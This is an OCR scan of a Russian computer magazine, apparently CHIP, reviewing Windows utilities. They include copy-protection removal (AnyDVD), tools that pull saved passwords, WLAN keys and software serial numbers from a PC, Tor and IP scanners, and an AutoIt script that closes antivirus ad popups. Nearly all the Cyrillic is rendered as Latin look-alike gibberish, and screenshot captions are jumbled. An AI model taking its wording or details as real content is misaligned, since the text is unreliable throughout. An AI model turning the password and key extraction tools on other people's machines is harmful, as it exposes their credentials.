HOe CKpBITHe OKOH» BOOdllje He R2LCT 
hm nonBHTBcn. npH BBidope nyHK- 
Ta djiOKHpOBKH «Program Manager», 
to ecTB npoBOAHHKa Windows, c Pa- 
douero CTOJia HCue3Hyr Bee 3HauKH, 
ttaace Kop3HHa. Ho b otom cjiyuae 


HeBH^HMBIMH CTaHyr H yCTaHOBJICH- 
HBie nmnoHCKHe nporpaMMbi, ecjin 
bh 3apaHee co3flajiH cooTBeTCTByio - 
iiihh npjibiK b nanKe aBT03anycKa. 

Baineii chctcmoh He CMoryr boc- 
nojib30BaTbcn Apyrne, ecjin bbi 3adjio- 
KnpyeTe KjiaBHnm mbihih c noMonjBio 
yTHjiHTBi Kid- Key- Lock. B ee Ha- 
CTpOHKax («Settings») nocTaBBTe ra- 
jiOHKy HanpOTHB nyHKTa «Do not show 
icon in system tray» («He noKa3Bi- 
BaTB 3HanoK Ha naHejin 3a,aau). nocjie 
3Toro ajih BBi30Ba WinHide.SB BaM 
npH^eTcn BOcnojiB30BaTBcn KOMdHHa- 
u,HeH KjiaBHin. 

Kohtpojib 3a padoTOH CHCTeMBi odec- 
nenHT Bill2’s Process Manager. 3Ta 
yTHjiHTa OTodpaxaeT Bee Texymne 


Bill2’s Process Manager ociaHaBJii/iBaei 
pa 6 oiy nporpaMM, noTpe 6 jiBK)ianx 
cjimibkom MHoro pecypcoB 

npoiieccbi h djiOKHpyeT hx no Banie- 
My vKejiaHHK) — HanpHMep, ecjin ohh 
noTpedjHHOT cjihihkom mhoto pe- 
cypcoB. fljin 3Toro moxho C03flaTB 
HeodxoAHMbie npaBHjia («Create a 
rule | Special actions | Overactivity»). 
KpOMe Toro, Ha BKJiaflKe «CPUtime» 
bbi y3HaeTe, HacKOJiBKO chjibho koh- 
KpeTHan nporpaMMa HarpyxaeT npo- 
u;eccop. O^HaKO yumre , hto b cjiy- 
nae HenpaBHjibHoii HacTpoiiKH 3Ta 
yTHJIHTa MOvKeT OTKJHOUHTB H Hy3C- 
HBie nporpaMMbi. -4 
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n:n^ FIPAKTMKA XaKepcKne nporpaMMbi 


flpOHNe 

B 3 H 0 MU|MKN 

AnyDVD Cm/iMaeT 3ami/iTy 

c DVD i/i Blu-ray- 

fll/ICKOB 

LicenseCrawler Haxoflm 

cepMMHbie HOMepa 

Network Password Recovery BbiHMCJineT 

ceieBbie naponi/i 

Offline Password Editor noAdiipaeT napo/in 
WirelessKeyView 06 Hapy>Ki/iBaeT 

k/iiohi/i WLAN 



1 hie Edit View Help 

[ =1 J a 

-9 


Network Name-., 

Key 

Key {Nee) 

K' f >CH0>_Te3tnetz3OG 

WPA2-PSK 

32503036636869 707-1 

lauchneranniTier 

WPA-PSK 

323030346368697071 

Advanced Opticni 


o Load the wireless keys of the current logged -tm user 
( j -Jit twt r'ljet rnerj'ific (F&r .i jjfaw 5 7 Qt^yT) 

Load the wreiess keys frotn txtonal instance 

Window; Deectaryi 


WirelessKeyView c noMombio c^yHKpun «Code 
lnjection» M3BJiei<aeT kjihdhm WLAN b Windows 7 


r-J bccnseC rawlci (0.0.42,1 by Martin Klinzman n 


H KEY_LOCAL_MACHI ME\S^wsfe\WD^32WodeVCitwUfikVM?t 
Cocrfua'fy Corn puny 

Serial Numb*. MWJXGW BUS T WLE 5YCFM BE3ftKKBF24C2 

HKEV LOCAL MAO^INE\SoflwareWoy^32tJodeVC^L^VM« 
Serial Number MV497421 8954901 5 

H KEY LOCAL_MACHI NEV5oflwflre\Wow6432N ode\£ leeat d\Paeka 
S eriaf Number: BSFG E OCFB &541 8C71 BOF 1 5SC1 1 EOEE 57 

H KEY_LDCAL_MACHI NE\Soflwar B \Wr™€432N odeW oD^BV/rri 
\Desklop!nPi QpeKyM^iVPropertiiSetStMage\{F2 , 3F85E (HFFS-1 066 
Serial Number. I rtf oT ip 

H KEY_LOCAL_MACHI NENSottwsr^W w6432Nw*M:i3?se^aSI D 


Computer [Loealhosi 

[HKE'CL0C4L_MACHIWE ~T] 

LicenseCrawler pa 3 bicKMBaeT cepMMHbie HOMepa 
A/is ycTaHOBneHHbix nporpaivnvi 


Bbi MOxceTe chhtb 3 amnTy ot Konnpo- 
BaHHH, BbIHHCJIHTb napOJIH, paCKOAH- 
pOBaib aaHHbie — B 3 JiOMaTb Bee, k <ieMy 
y Bac ecTb aocTyn. TaKHe 3 aaaHH aicry- 
aJIbHbl He TOJIbKO JIJW MOHieHHHKOB. 
JlyHiHHM npHMepOM BBjuieTCii npor- 
paMMa AnyDVD, KOTOpan CHHMaeT 
3 ammy ot KonnpOBaHHa c DVD h Blu- 
ray-AHCKOB. KpOMe toto, OHa odecneun- 
BaeT BocnpoH 3 BeAeHHe HMeioianxcii y 
Bac npo 6 jieMHbix HOCHTejieii — Hanpn- 
Mep, Blu-ray-^HCKa c (Jihjibmom «ABa- 
Tap», KOAHpoBaHne KOTOporo (BD+) Ha 
MOMeHT ero Bbinycxa enje He yMejin 
pacno 3 HaBaTb MHorae mieepbi. 


ymjiHTbi, o 6 Hapy>KHBaK)LixHe napora, 
o6mhho Hcnojib 3 yiOTCH xaxepaMH ana 
aocTyna k uyxcHM nepcoHajibHbiM aaH- 
HblM. Ho npH Heo 6 xOaHMOCTH OHH 
noMoryr h 3 adbiBUHBOMy nojiB 30 Bare- 
jho. CepHHHbie HOMepa nporpaMM h 
kjhohh ana aocTyna b ceTb coxpainnoT- 
ch b peecTpe, h TaKHe ymjiHTbi, kslk 
LicenseCrawler h Network Password 
Recovery, 3 HaiOT, rae hmchho ohh Haxo- 
aaTCH. Kjhohh aocTyna k decnpOBoa- 
hbim ceTHM cjiyxda «EecnpOBoaHaii 
HacTpOHKa» b Windows Taioxe (Jdhkch- 
pyeT b peecTpe (bo bchkom cjiyuae, b 
CHCTeMe XP). HannHan c Vista 3 Ty 3 aaa- 


ny BbinojTHHeT «Cjiy*:6a aBTOHacTpon- 
kh WLAN», 3anncbiBaK)LixaH TaKHe na- 
pojin b 3anra(J)poBaHHbiH XML-(J>aHJi. 
B o6ohx cjiynanx Hairra 3th kjhouh 
caMOCTOHTejibHO HepeajibHO, ho npor- 
paMMa WirelessKeyView noMOxeT BaM 
b 3tom. Ecjih bbi 3a6buiH napojib OT 
Endows, npHaeTcn aencTBOBaTb H3- 
BHe. Jinn oto 3anmHHTe ymjiHTy Offline 
NT Password & Registry Editor Ha CD 
(o6pa3 3arpy30HHoro aHCxa bbi HanaeTe 
Ha HanieM DVD) h 3anycTHTe c Hero 
3Ty nporpaMMy. HananTe coxpaHeHHyio 
yneTHyio 3anncb nojib30BaTejiH h npn 
HeodxoanMOCTH noMeHHHTe napojib. 


CneuMa/incTbi 


BetterPrivacy 

Mgeni 

NoScript 

Tor Browser 

VTzilla 


Yqa/iflei flash-cookies 
no 3 BormeT 3 aMTi/i 
Ha HeAOdynHbie cambi 
OcTaHaB/ii/i BaeT Bbino/iHeHi/ie 
CKpi/mTOB 

ri03B0JbieT HaXOflMTbCn 
B CeTI/l 3H0HI/IMH0 
n/iari/iH fl/in odHapyweHMB 
BpeflOHOCHoro flO 


b ctjjepe MHTepHeia 

a 


Ecjih xoponio noaroTOBHTbcn k noce- 
meHHio HHTepHeTa, mojkho nodbiBaTB 
b TaKHx MecTax, Kyaa 6 jiaropa 3 yMHbie 
jnoan o 6 biHHO He OTBaxHBaiOTcn 3 arjin- 
Hyrb. nepBbiii 3 Tan — odecneneHne 
aHOHHMHOCTH c noMombio cem Tor. 
nocjie ycTaHOBKH ymjiHTbi Tor Browser 
b aonojiHeHne k Firefox bbi CMOxe- 
Te npeaoTBpaTHTb coxpaHeHne flash- 
cookies Ha BanieM KOMnbiOTepe no- 
cpeacTBOM aonojiHeHHH BetterPrivacy 
Hto6bi He 3 apa 3 HTb ero (JiaiuiaMH c 


noao 3 pHTejibHbix Bed-CTpaHHH, npo- 
BepHHTe hx nepea xa>xaoH 3 arpy 3 - 
koh. njiarnH VTzilla nepe 3 koh- 
TeKCTHoe MeHio Firefox HanpaBHT 
3th (J>aHjibi b OHjiaHHOByio cjiy*: 6 y 
VirusTotal, KOTOpan aBTOMaranecKH 
nponycTHT hx nepe 3 hcckojibko exa- 
HepOB OT H 3 BeCTHBIX npoH 3 BoaHTejieH 
njiaTHbIX aHTHBHpyCOB, TaKHX KaK 
Norton h «JIa 6 opaTOpHH KacnepCKO- 
ro». Ecjih TaKHe cjianjibi yace 6bijih npe- 
xae OTnpaBjieHBi Ha npOBepKy apy- 

THMH n O JI B30 B aTCJI HMM, BBI nOJiy^HTC 

pe3yjiBTaT He3aMeaJiHTejiBHO. Ecjih bbi 
He xoTHTe, hto6bi VTzilla OTodpaxa- 
jiacb b BHae Tyjidapa, npocTO otkjhohh- 
Te 3 Ty <J)yHKHHio, chub rajionicy Hanpo- 
thb nyHKTa «Bna | naHejib HHCTpyMeH- 
tob | Virus Total Toolbars 
OaHaKo ceroami b MHTepHeTe Heao- 
CTaTOUHO OaHOH aHOHHMHOCTH. HhOT- 
aa npHxoaHTCH BBmaBaTB cedn 3 a koto- 


naH&nb ynpae/ieHufl Vidalia 


r^i ® i^i 


floflicnioMeHo k 




OcraHOBMTb Tor 


I ripocMOTpeTb CeTb 


HacTpoiiKa PeTpaHOurropa 


HaMaTb HOBoe coennHeHne 


H, Tpa<t>kiK 

|=| XypHan coo6uieHHM 


riOMOLUb 
ft' HaCTpOMKM 


o okho npn 3anycxe 


k’ ^ O nporpaMMe 
Bbixon 

| CnpjrraTb | 


Tor flenaeT Bame npedbrnaHne b 1/lHTepHeie 
aHOHi/iMHbiM 3a cnei ncno/ib30BaHMB 
cepBepoB-nocpeAHMKOB 

to apyroro (HanpHMep, mchutb pernoH 
npojKHBaHHn). B 3tom noMOxeT cne- 
iIHajiBHBiH dpay 3 ep Mgeni, KOTOpbin 
npn 3 anycKe aBTOMaTHnecKH npOBepn- 
eT, BKjnoneHa jih ceTb Tor. KjiHKHHTe 
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no 3HanKy 3eMHoro niapa Ha IlaHejiH 
3a^an n Bti6epHTe CTpaHy pa3Meme- 
hhh y3Jia Tor jsjm AOCTyna k canTaM. To 
ecTb Bbi MoaceTe, HanpHMep, 3anm b 
ceTB KaK aMepHKaHen; hjih aHrjinnaHHH. 
CooTBeTCTByiomaa «Hau;HOHajiBHOCTB» 
n03B0JIHeT B0Cn0JIL30BaTBCH pa3Jinn- 
hbimh npeAJioxeHHHMH b cc[)epe pa^no 
n TB. 3to KacaeTCH KaK HD-noTOKOB 
TpaHCJiHUHn BBC, TaK n neceH c ayano- 
njraTct)opMbi Pandora, npneM kotopoh 
orpaHnneH TeppHTOpnen CUJA. 


** P*ndor» Rjdie - Lrt»»n to fr« Internet Rodio. T#id Mew Mm*k - M$eni 


^WBi| 

UpeiK* gexo tlhtTpyvxmv ^npoew 



0 *0 ^ ** hetpt/Mwwpondore.caw/ 

9 M Q- c^r 


(J P*rv*y»a»<»e L □ 




H 


Mgeni no 3 BO/ifleT 
3 aX 0 flMTb b Ceib c 
flpyroti «HaunoHa/ib- 
H 0 CTbK)» I/I OTKpbl- 
BaTb npe>KAe Heflo- 
aynHbie caMTbi 


We created Pandora to pot the Musk Genome Pro)e« directly in your hands 

It's a new kind of radio • 

stations that play only music you like 


CeieBbie 

MI 116 MKM 


Angry IP Scanner Haxoflm CBo6oflHbie nopibi 

inSSIDer CKaHi/ipyeT WLAN- 

coefli/iHeHi/bi 

Prey 3 ami/iTi/iT KOMnbiOTep 

ot Kpa>Ki/i 

TCPEye KoHTponnpyeT ceieBbie 

coefli/meH nn 

Wireshark PemcTpHpyeT ceieBOM 

TpacjDi/iK 


IlporpaMMbi, codnpaion^He HH(J)op- 
MaijHK) nepe3 ceTB n ocymecTBjnno- 
mne noncK cjiadbix MecT, ncnojiB- 
3yK)TCH n xaKepaMH, n cncTeMHbiMH 
aaMHHHCTpaTopaMH. IlocjieaHHe cTpe- 
mhtch 3am,HTHTB Bamy ceTb, nep- 
Bbie — npOHHKHyTb b Hee, hto6bi 
yKpacTb aaHHbie. 

OdbinHOMy nojiB30BaTejno 6yaeT a o- 
CTaTOHHO oahoh ymjiHTbi Arm onpe- 
AejieHHH cjiyx6, Hcnojib3yiomHxc5i 
npn coeflHHeHHH Bamero KOMnbio- 
Tepa c HHTepHeTOM. C otoh 3aAaueii 
cnpaBHTcn TCPEye, npeACTaBjmio- 
ma n HH(J)opMan;HK) yaodHO n HarcmA- 
ho. yTKJiHTa aBTOMamnecKH npeAy- 
npe^HT o noA03pHTejibHbix coeAHHe- 



TCPEye Har/iflflHO noKa>Kei Bee coeflMHem/m npor- 
paMM i/i 0 T 06 pa 3 MT pen/iOH nepeflanw flaHHbix 


HHHX H no Tpe60BaHHK) OTnpaBHT 
3anpoc Ha npOBepKy b Be6-cjiyac6y 
VirusTotal. KpOMe Toro, KJiHKHyB no 
CTpoxe c nofl03pHTejn>Hon nporpaM- 
MOH npaBOH KHOnKOH Mbimn, M03C- 
ho H3 KOHTeKCTHoro Memo 3anyCTHTb 
3anpoc «Who is», hto6bi BbincHHTb, 
kto CKpbiBaeTcn 3a npeACTaBjieHHbiM 
IP-a^pecoM. A OHjianH-cepBnc www. 
geoiptool.com cooGiijht BaM, Ky^a Be- 
RQT coeAHHeHne. 

Angry IP Scanner nepenncjinT IP- 
aApeca noAKjnoueHHbix ycTponcTB b 
AOM anmen cem. fljin ero padora 
TpedyeTcn ycTaHOBjieHHan epe^a Java 
Runtime Environment. HtoGbi HanaTB 
CKaHHpOBaHne, yKaaorre Anana30H 
IP — b AOMamHen ceTH oto oObihho 
ot 192.168.0.1 ao 192.168.0.255. 3a T e M 
yTKJiHTa cooGiijht, Kajcne IP ecTB b 
B amen cem. Ilpn hcoOxoahmocth 
MO vKHO 0T06pa3HTB TOJIbKO He6e30- 
nacHBie ycTponcTBa c OTKpbiTbiMH 
nopTaMH («Preferences | Display»). 

HoyTdyKn, KOTopbie Bcer^a noA- 
KjnoneHbi k MHTepHeTy, ho, KaK npa- 
bhjio, nocpeACTBOM pa 3 Hbix ceTen, 
KOHTpojinpyeT nporpaMMa Prey, cno- 


codHan npocTO, ho 3(J)(i)eKTHBHO 
3amHmaTb hx ot Kpaxn. Ilocjie eAH- 
HOKpamoro BKjnoneHHH 3Ta ymjiHTa 
3aHHMaeTcn tojibko TeM, hto c onpe- 
ACJieHHbiMH HHTepBajiaMH nocbuia- 
eT cooOmeHHH no Cem jih6o Ha Bam 
aKKayHT Prey, jih6o Ha ojieKTpoHHbra 
hiahk. Ilpn npeKpameHHH omx ach- 
ctbhh b cjiynae Kpaacn HoyrdyKa Prey 
aBTOMamnecKH coeAHHaeTcn c 6jih- 
xcanmeH cboGoahoh tohkoh WLAN 
h 6ueT TpeBory. Ecjih Ha BarneM kom- 
nuioTepe ycTaHOBjieHa Be6-KaMepa, 
3Ta ymjiHTa nepeAacT BaM (J)oto- 
rpacjmio Bopa. H3I? 


(P RinjT ■ Angr^ |P >T*rw*T ^ 




! itdn io le £wn»niniJi Fiiorrtes b^P 



V Rjnqt 

to 19U63JaJ20 
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| * Start | 

i> 

! ip 

Ping 

Hostname 
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39 

0 mi 
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Hewy-K 
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9192JL6&J3.2U 
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Ibmarlin' 

Wi] 



&rm 
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Wi] 


Ol9U6SJ3Ji 

&mj 
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&rW 

Kif&UTtSr 

Wil 


©igZJj6ftJSJ23 

c™ 
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W*3 


#19Z16SJeJ57 

23 rru 

HACBOOKPRO - FBAS 



• i9zi6sjajja 

Den 

MARTIN- RC 

w*] 


I #II9ZJj6flja2M 

9 rm, 

MCHPOQfiS 

Kv] 



Displays Jkftn IhrMik D 



Prey npn Kpawe Hoyi6yKa noflHmviaeT 
TpeBory nepe3 l/lmepHeT m OToCpawaeT 
coo6iAeHne Ha 3KpaHe 


CepBiic geoiptool.com noKa>Kei MecTonojio- 
>KeHne B/iaflenbpa IP Ha Kapie ivn/ipa c tohho- 
CTbio flo ropo/ja 
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1^:11^ T1PAKTMKA flpocfDeccMOHajibHbm coBeT 


IlNUieM CKpOTIT 
B HeCKOUbKO KIINKOB 

MHorwe decnnaTHbie nporpaMMbi — Hanpmviep, ami/iBi/ipyc Avira — 
oS/iaflaiOT Hen/ioxoM cjDyHKi4i/iOHajibHOCTbio, OflHaKO nocroflHHO 
BcnnbiBaioinMe peKJiaMHbie coo6meHMfl pasflpawaiOT. CHIP paccKa>KeT, 
KaK aBTOMaTi/inecKM 3aKpbiBaTb stm OKHa. 


y 6HpaTi> BcroibiBaiomHe peic- 
jiaMHBie coodmemni mox- 
ho eme ao Toro, KaK ohh 
noHBjiinoTCH Ha 3KpaHe. 
3to flejiaeTCH npn noMO- 
HJH CKpHnTa, KOTOpBIH BBI Cn0C06- 
HBI C03AaTB CaMOCTOHTeJIBHO, CAejiaB 
Bcero HeCKOJIBKO meJIHKOB MBIIHBK) 
H Ha6paB HeCKOJIBKO CTpOK KO^a B 
COOTBeTCTBHH c npeAJiojKeHHBiM B 
3TOH CTaTBe npHMepOM. 

fljiii HanncaHHii CKpnnTa mbi 6yaeM 
HcnojiB30BaTB H3BIK nporpaMMHpo- 
BaHHH Autolt, KOTOpBIH n03B0JI5ieT 
6BICTPO C03flaBaTB MHHH-npOTpaM- 
MBI, R8CK e He HMeH CepBe3HBIX Ha- 
bbikob b flene HanHcaHHH KOAa. IIo 
CTpyKType 3 tot h3bik HanoMHHa- 
eT BASIC. K TOMy xe npeAJiarae- 
mbih HHCTpyMeHT coBepmeHHO 6ec- 
iuiaTeH. IIporpaMMy rjisl co3AaHHH 
CKpnnTOB Ha Autolt moxcho CKauaTB 


c caHTa rpynnBi pa3pa6oTUHKOB (www. 
autoitscript.com) hjih Hanra Ha npn- 
jiaraiomeMCH k HarneMy xypHany 
AHCKe b pa3flejie «BoHyc». 

Autolt pa3pa6aTBiBajiCH ajih bbto- 
MaTH3au;HH HHTepc[)eHca Windows. 
fljIH 3T0T0 OH CHMyjIHpyeT BBOA 
AaHHBIX C KJiaBHaTypBI, ABHJKeHHH 
H meJIHKH MBIIHBK) H npOHHe AeHCT- 
bhh. /Jpyrne h3bikh nporpaMMHpo- 
BaHHH Bp HA JIH n03B0JI5IT BaM A06HTB- 

ch ctojib xe CTadnjiBHBix h HaAejK- 
HBIX pe3yjIBTaT0B. 

H3HanajiBH0 npeAHa3HaueHHeM Autolt 
Gbijio ynpomeHHe BBinojiHeHHH oa- 
HOTHnHBix 3aAau Ha 6 ojibhiom ko- 
jiHuecTBe KOMnBiOTepoB — HanpH- 
Mep, ycTaHOBKa oahhakoboto Hadopa 
nporpaMM. B hhcjio ero bo3moxc- 
HOCTeii bxoaht yAajieHne cjiaHJioB, 
CHMyjiHiiHii BBOAa TexcTa c KJiaBHa- 
TypBI, KonnpOBaHHe h BCTaBKa (j)par- 


MeHTOB TeKCTa, nepeMemeHHe h H3- 
MeHeHHe pa3MepOB OKOH, OTKpBITHe 
h BBidop nyHKTOB MeHio, a TaiGKe 
MHorne Apyrne a^hctbhh. 

Son biue, neM npodo coBeT 

Mbi paccMOTpHM co3AaHne CKpnnTa, 
aBTOMaTHHecKH 3aKpBiBaioiAero OK- 
Ha C peKJiaMHBIMH OdBHBJieHHHMH 
(b HarneM npHMepe — decnjiaTHOH 
nporpaMMBi Avira AntiVir). B pe3yjn>- 
TaTe BcrniBiBaiomee okho 6yaeT ycT- 
paHHTBCH eme ao toto, KaK ycne- 
eT OTo6pa3HTBcn Ha 3KpaHe. KpoMe 
TOTO, AaHHBIH npHMep n03B0JIHT BaM 
6jHDKe n03HaK0MHTBCH C 3(J>(J)eKTHB- 
HBIM HHCTpyMeHTOM C03AaHHH 

CKpnnTOB. IIojie3HBie cJjyHKHHH, npeA- 
jiaraeMBie Autolt, AaAyr BaM bo3- 
mojkhoctb b AajiBHeiiHieM pemaTB 
h Apyrne 3aAaun no aBT0MaTH3aijHH 
ynpaBjieHHH KOMnBioTepoM. am? 


1 . 3arpy3Ka m ycTaHOBKa 



Autolt v3. 3.6.1 Setup 


Completing the Autolt v3.3.6 1 
Setup Wizard 


Autolt v3.3.6. l has been instated on your computer . 


Ckk Posh to cbse IBs w*«rd. 


2. OnpeneueHMe HywHoro OKHa 


Basic Window Info 

Title; 

Notifier of Avira AntiVir Personal ■ Free Antivin 

Class; 

#32770 

Basic Contfol Into Finder T ool 

□as$: 

1 nternet E xplorer_5 erver 1 l 

Instance; 

1 L#J 

(Double-dick list entries to copy to clipboard) 

Window 

Coniro] | Visible T ext Hidden Text StatusBar | Toodf ( ^ 

Properly 

Value 

i pa 


Title 

Notifier of Avira AntiVir Personal - Free Anti virus 



CKAHAMTE aKTya/ibHyto Bepcmo Autolt c ocjDMpnaribHoro caMTa hum B03b- 
m me ee c Hamero flMCKa (pa3,qea «BoHyc»). npn n Hda/i jihum i/i Jiynwe 
Bbi6paTb no/iHyio yciaHOBKy — b 3tom caynae y Bac 6yAyT Bee KOMnoHeH- 
Tbi, KOTopbie MoryT noHaflo6nTbCfl b .qaribHeMLijeM. 


BbIBOP OEbEKTA B Memo «Program I Autolt» Bbi HaMfleie nyHKT «Autolt 
Window lnfo». OTKpoMTe ero i/i nepeiaiAme KpecmK-npi/ipen Ha BepxHfoio 
naHeab OKHa, KOTopoe HeodxoflMMo aBTOMaTi/inecKi/i 3aKpbiBaTb. Tenepb 
nepeMflme k OKHy «lnfo», b kotopom co,qep>Ki/iTCfl HywHaa MHc|3opMapnfl. 
flBawflbi neaKHi/ue no cipoxe «Title» bh H3y, HTo6bi CKom/ipoBaTb noriHoe 
Ha3BaHne OKHa b 6yc|3ep. 
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3 . flOKflaTbCSI M 3aKpblTb 



nPOrPAMMI/IPOBAHI/IE OTKpoMTe okho «Autolt script» 1/1 BBeflme koa, 
KaK noKa 3 aHo Ha Kapn/iHKe. B nepBOM cipoKe npi/icBOMTe 3 HaHeHi/ie nepe- 
MeHHOM «title»: m aoji>kho CTaTb no/iHoe mma 3 aKpbiBaeMoro OKHa. 

Bo btopom cipoKe AaeTCfl MHCTpyKpMfl o>KMAaTb noHBJieHi/iB OKHa Avira, 
a b TpeTbeM — KOMaHAa 3aKpbiBaTb ero. 


4 . IIOBTOP npomB nOBTOpa 



flOBABJIEHI/IE UI/IKJ1A Ecrm CKpi/im 6yqeT cocroaTb ToribKO M3 3 ti/ix Tpex 
CTpoK, ero Bbino/iHeHi/ie saBepwmcfl noc/ie nepBoro we 3aKpbm/m Bcn/ibi- 
Bafomero OKHa. KorAa noflBMTca c/ieAyiomee, oh He cpadoTaer noaTOMy 
Ao6aBbTe b koa KOMaHAy, BHOBb aKTi/iBi/ipyfonyK) cKpnriT no OKOHnaH 1 / 1 1/1 
ero BbinojiHeHMfl. 


5 . CoxpaHeHHe xo/ta 



nOHBTHOE l/IMfl Tenepb Hy>KHO coxpaHi/iTb pe 3 y/ibTaTbi pa 6 oTbi. Bbi6e- 
pme AJifl (fcatiJia oneBMAHoe Ha 3 BaHne, HTodbi npw Heo 6 xoAHMocTM 
nerKO ero HaMTi/i. B HarneM npi/iMepe oh no/iyniio i/imh «avira silencer». 


6. TedupoBaHHe CKpuiua 


Q C:\Users\testcenter_praktl\Desktop\activate.au3 - SciTE4Autolt3 


File Edit Search View [ Tools ] Options Language Buffers 
D GBr Ld Cx ^ 

~TW 


Help 


While 1 

Winflctivd 


NLnNalti Hot 
N5LnC2o.?e< lo 


\v 


WinWJritCl 
/- Sleep (SO<\ 

WEnd 


Compile 

Ctrl+F7 


Build 

F7 


Go 

F5 

onal - Free Antivirus") 

SyntaxCheck Prod 

Ctrl+F5 

Free Antivirus") 

Stop Executing 

Ctrl ♦ Break 

Free Antivirus") 

Next Message 

F4 


Previous Message 

Shift+F4 

'sonal - Free Antivirus " 

Clear Output 

Shift+F5 


Switch Pane 

Ctrl+F6 



>"C:NPrograa Files\AutoIt3\SciTE\..\autoit3.exe" /ErrorStdOut 
"C:\UseES\testcenteE_pEaktl\Desktop\actlvate. au3" 


OI/IHAJlbHAfl nPOBEPKA B 3aBepweHne Hy>KHO yAOCTOBepmbCfl b 
pa6oTOcnoco6HOCTM C03AaHH0M nporpaMMbi. HawMi/ue «F5» i/i y6eAM- 
Tecb, hto peKJiaMHoe okho Avira 3aKpbmocb. 3 to 6yAeT 03HanaTb, 

HTO CKpHm BbinOJIHfleTCfl KOppeKTHO. 


7 . KoMminmiMB 



8. ABTOMaTMHecKHH 3anycK 



t. Microsoft Silverlight 
it Mozilla Firefox 
is NVIDIA Corporation 

i, . OpenOffice.org 32 

j. Picasa3 

is ScreenshotCaptor 
k Skype 
is Starcraft 
i. Warcraftn 
). Windows Live 
u ABT0jarpy3Ka 

O Punto Switcher 
k 06cnyxHBaHHe 
Jt CiaHflapTHbie 

i Ha33fl 

| Haumu npoipauMu u <f>aunbi fi | 


nPABI/IJIbHbIM EXE Hio6bi npeBpan/iTb ctpokm KOAa b nporpaMMy, 
Heo6xoAHMo co3AaTb McnooH^eMbm EXE-cjDaM/i. l/lcno/ib3ytiTe ajih 
3Toro KOMaHAy «Compile» 1/13 MeHio «Tools». 


BCETflA HAI"OTOBE flo 6 aBbTe ap/ibiK a/ia co 3 AaHHoro cjoauina (mjii/i caM 
cjDaM/i) b nyHKT «ABT 03 anycK» MeHio «nycK». Tenepb oh 6 yAeT aKTi/iBi/i- 
poBaTbca npw dapTe ci/icieMbi i/i HeMTpa/iM 30 BbiBaTb Bcn/ibiBaiomMe 
OKHa Avira. no AaHHbiM KOHTpo/ibHoii naHe/iM Windows, Harpy 3 Ka Ha 
npopeccop npi/i stom cociaB/ifleT ot 0 ao 1 %. 
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S3D? CEKPETbl M COBETbl 


CexpeTbi 

M COBeTbl 


OEOPyflOBAHME 


BoccTaHaB/uiBaeM 
pa6oTOcnoco6HOdb NAS 


npo6iieMa 

CeieBOM amck npoM3BOflCTBa Synology 

HeOKMflaHHO CTaA MCTOHHMKOM rOAOBHOM 

6oam a/ 151 Hamero HmaTe^/i: noc/ie o6hob- 
/ieHM5i npoiuMBKM NAS nepecTa/i KoppeKTHO 
pa6oTaib, a ero MHAHKaiop cnma/iM3Mpo- 
Ba/i o HencnpaBHocTM o6opyAOBaHM5i. 

flnarH03 

Hepe3 fleHb noue nepenpowMBKM Be6- 
MHTepc(DeMC HaKonme^/i OTKa3a/iC5i npn~ 
Hi/iMaTb/iornH m napoAb. Iloc/ie pyHHOM 
nepe3arpy3KM Bee npnwAO b HopMy, 
ho nepe3 HeKOTopoe BpeMA Ha ceieBOM 
AMCKe nepecTa/i pa6oiaib SMB-cepBep. 
ripn 3 tom k nannaM HaKoni/iTeAfl no- 
npewHeMy mowho 6bmo noAyHMTb ao- 
dyn no FTP. Hio6bi MCK/ifOHMTb bo3mow- 
HOdb HenpaBM/ibHOM nepenpoiuMBKM, 

Ham HmaTe/ib nonpo 6 oBaA noBTopMTb 

3Ty npoueaypy, OAHaKo cMCTeMa yBeAOMM- 
/ia ero, hto ycTaHaBAMBaeMoe no BcerAa 
AOjukho 6biTb HOBee y>Ke ncnoAb3yeMoro. 
Ha TpeTMM AeHb yCTpOMCTBO nO/lHOCTbKD 



3aBMc/io, nepedaB pearnpoBaTb Ha 
HawaTmi KHonoK ni/iTaHMA m c6poca. 
HaKonMTe/ib /imub MkiraA cmhmm cBeio- 
Amoaom m OTKa3biBa^C5i pa6oiaTb. no- 
nblTKa nO/lHOCTblO OTKAIOHMTb nMTaHi/ie, 
3aHOBO nOACOeAMHMB CMAOBOM WHyp, 
TO>Ke He npMHec^a pe3yAbTaTa. 

PeiueHMe 

Bkaiohmb npn6biBmnM b Hamy jia6opaio- 
pwo HaKonMTe^b, Mbi ct3am CBMAeie/inMM 
npoAO/i>KMTe^bHoro mvamn CMHero mh- 
AMKaTopa. rioc/ie HecKOAbKMx nepe3arpy- 
30K (KHonKa «Reset» yaepwMBaAacb cHa- 
na/ia bo BpeMfl, a 3aieM nocAe BiemoHeHMA 
umanm) HaKonMTeAb 3apa6oia/i. Bee 
CMCTeMbl c(3yHKI4MOHMpOBa/lM HOpM3AbHO. 
Ho nnft yBepeHHOCTM Mbi pewMAM npon3- 
BedM eiue HecKO/ibKO nepe3arpy30K, 
Ka>KAbm pa3 npoBep/m HaAMHMe AOdyna 
k HaKonMTe/iK) no FTP m CIFS (Common 
Internet File System), nocAe nepBoro 
we 3anycKa nanKM, pacmapeHHbie Ha 
SBM-cepBepe, cia/iM HeAOdynHbi. 

Mbi BHOBb nepe3arpy3M/iM NAS, yaepwM- 
Baa KHonKy «Reset» b TeneHMe 4 ceKyHA 
noc/ie BK/HOHeHMfl. rioc/ie OAHOKpaTHoro 
3ByKOBoro CMma^a Mbi omycTM/iM ee m 
cpa3y we HawaAM BHOBb eiAe Ha 4 cenyH- 
Abi. rioc/ie TpexKpaTHoro 3ByKOBoro cmt- 
Ha/ia HaKonMTe^b 3arpy3HACA, ho c o6Hy- 
zieHHOM npoiuMBKOM. C noMOiAbK) MacTepa 
ydaHOBKM Mbi Haw/iM NAS b ceTM m yda- 
hobm/im Ha Hero CBewyio Bepcmo no. 
no 3aBepmeHMM stom npoueAypbi oh 
6bm roTOB k pa6oie. 


MeflManneep 

HacipanBaeM o6liji/m flociyn 
b flOMawHePi ceTM 

Bbi xoTme CAe/iaTb ceieBbie pecypcbi 
Baiuero nK, KOTopbie OTo6pawaK)Tcn b 
W indows Media Player, AOCTynHbi mm m 
A/ i5i MeAnanponrpbiBaie/151 WDTV Live. 



Bee HacipoMKM, Heo6xoAHMbie a/ 151 B3ai/i mo- 
AeMCTBi/i5i nK c WDTV Live, mowho heimti/i 
b napaivieipax AOMaiuHeM rpynnbi 


imism nepea TeM Kaie HanaT b HacTpoft- 
xy o6mero aocTyna k MeaHacJ/aHJiaM , 
